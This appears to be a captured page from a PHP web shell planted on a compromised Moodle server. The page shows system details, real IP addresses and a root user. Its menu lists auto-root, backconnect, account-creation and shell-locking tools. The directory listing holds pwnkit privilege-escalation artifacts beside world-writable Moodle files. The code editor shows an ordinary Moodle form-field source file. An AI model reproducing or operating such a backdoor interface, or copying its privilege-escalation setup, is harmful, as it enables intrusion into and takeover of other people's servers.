Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
admin /
tool /
lp /
classes /
form /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
competency.php
7.14
KB
-rwxrwxrwx
competency_framework.php
6.28
KB
-rwxrwxrwx
framework_autocomplete.php
4.18
KB
-rwxrwxrwx
plan.php
3.6
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
template.php
2.98
KB
-rwxrwxrwx
template_cohorts.php
1.74
KB
-rwxrwxrwx
template_plans.php
1.69
KB
-rwxrwxrwx
user_evidence.php
2.7
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : framework_autocomplete.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Framework selector field. * * @package tool_lp * @copyright 2016 Frédéric Massart - FMCorz.net * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ namespace tool_lp\form; use coding_exception; use MoodleQuickForm_autocomplete; use \core_competency\competency_framework; global $CFG; require_once($CFG->libdir . '/form/autocomplete.php'); /** * Form field type for choosing a framework. * * @package tool_lp * @copyright 2016 Frédéric Massart - FMCorz.net * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class framework_autocomplete extends MoodleQuickForm_autocomplete { /** @var bool Only visible frameworks? */ protected $onlyvisible = false; /** * Constructor. * * @param string $elementName Element name * @param mixed $elementLabel Label(s) for an element * @param array $options Options to control the element's display * Valid options are: * - context context The context. * - contextid int The context id. * - multiple bool Whether or not the field accepts more than one values. * - onlyvisible bool Whether or not only visible framework can be listed. */ public function __construct($elementName = null, $elementLabel = null, $options = array()) { $contextid = null; if (!empty($options['contextid'])) { $contextid = $options['contextid']; } else if (!empty($options['context'])) { $contextid = $options['context']->id; } $this->onlyvisible = !empty($options['onlyvisible']); $validattributes = array( 'ajax' => 'tool_lp/frameworks_datasource', 'data-contextid' => $contextid, 'data-onlyvisible' => $this->onlyvisible ? '1' : '0', ); if (!empty($options['multiple'])) { $validattributes['multiple'] = 'multiple'; } parent::__construct($elementName, $elementLabel, array(), $validattributes); } /** * Set the value of this element. * * @param string|array $value The value to set. * @return boolean */ public function setValue($value) { global $DB; $values = (array) $value; $ids = array(); foreach ($values as $onevalue) { if (!empty($onevalue) && (!$this->optionExists($onevalue)) && ($onevalue !== '_qf__force_multiselect_submission')) { array_push($ids, $onevalue); } } if (empty($ids)) { return $this->setSelected(array()); } // Logic here is simulating API. $toselect = array(); list($insql, $inparams) = $DB->get_in_or_equal($ids, SQL_PARAMS_NAMED, 'param'); $frameworks = competency_framework::get_records_select("id $insql", $inparams, 'shortname'); foreach ($frameworks as $framework) { if (!has_any_capability(array('moodle/competency:competencyview', 'moodle/competency:competencymanage'), $framework->get_context())) { continue; } else if ($this->onlyvisible && !$framework->get('visible')) { continue; } $this->addOption($framework->get('shortname') . ' ' . $framework->get('idnumber'), $framework->get('id')); array_push($toselect, $framework->get('id')); } return $this->setSelected($toselect); } }
Close